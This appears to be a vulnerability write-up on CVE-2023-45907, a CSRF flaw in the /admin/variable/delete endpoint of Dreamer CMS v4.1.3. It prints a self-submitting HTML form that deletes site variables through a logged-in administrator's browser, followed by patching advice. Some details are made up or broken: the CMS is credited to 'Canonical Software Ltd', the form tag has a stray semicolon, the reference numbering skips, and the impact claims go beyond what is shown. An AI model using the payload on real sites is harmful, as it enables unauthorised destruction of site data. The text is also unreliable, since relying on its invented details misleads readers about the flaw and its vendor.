Canonical Software Ltd, the developers of Dreamer CMS, have recently been notified of a critical security vulnerability identified as CVE-2023-45907, which affects the popular content management system Dreamer CMS v4.1.3. This security issue has been classified as a Cross-Site Request Forgery (CSRF) vulnerability that enables a malicious actor to force an authenticated user to perform unwanted actions on the vulnerable CMS without his knowledge or consent. The vulnerability resides in the /admin/variable/delete component and allows the attacker to delete site variables, which can lead to significant issues like complete loss of website functionality and sensitive data exposure.

Detailed Exploit Description

Dreamer CMS v4.1.3 does not implement proper CSRF protection mechanisms, particularly in the /admin/variable/delete component. This lack of security measures makes it possible for an attacker to craft a malicious link or a webpage that targets authenticated users who have administrator access to the affected Dreamer CMS instance. If an administrator unintentionally clicks on the malicious link or visits the attacker's webpage while the targeted Dreamer CMS instance is open, the attacker can leverage the user's privileges and execute unauthorized commands. For example, the attacker may be able to delete essential site variables, severely compromising the CMS functionality and potentially exposing sensitive site data.

Code Snippet

Below is a sample HTML code snippet that demonstrates how an attacker could exploit this vulnerability by deceiving an authenticated administrator into clicking a malicious link:

<html>
  <head>
    <title>Malicious CSRF Exploit</title>
  </head>
  <body>
    <form action="http://target-site.com/admin/variable/delete"; method="POST" id="csrf_form">
      <input type="hidden" name="id" value="variable_id_to_be_deleted" />
    </form>
    <script>
      document.getElementById("csrf_form").submit();
    </script>
  </body>
</html>

In this example, the attacker would simply replace "http://target-site.com" and "variable_id_to_be_deleted" with the applicable target instance and site variable ID. When an administrator visits this malicious webpage or clicks an embedded link containing this code, it silently submits a form to the /admin/variable/delete component, exploiting the CSRF vulnerability and deleting the specified site variable.

Original References

The vulnerability has been officially acknowledged by Canonical Software Ltd as the issue number CVE-2023-45907. More information about this security vulnerability and remediation steps can be found in the following official resources:
1. National Vulnerability Database (NVD) entry - https://nvd.nist.gov/vuln/detail/CVE-2023-45907

3. Mitre CVE database entry - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45907

Conclusion

administrators are strongly recommended to update their Dreamer CMS instances immediately to the latest version, which addresses this vulnerability with proper CSRF protection mechanisms in place. Additionally, administrators should continue to follow best practices, such as not clicking on unknown links, keeping their software up-to-date, and regularly monitoring the developer's website and associated security resources for any new vulnerabilities and related patches. Finally, make sure to educate your users and fellow administrators about the risks associated with CSRF attacks and how to avoid falling victim to such threats.

Timeline

Published on: 10/17/2023 14:15:10 UTC
Last modified on: 10/18/2023 17:56:13 UTC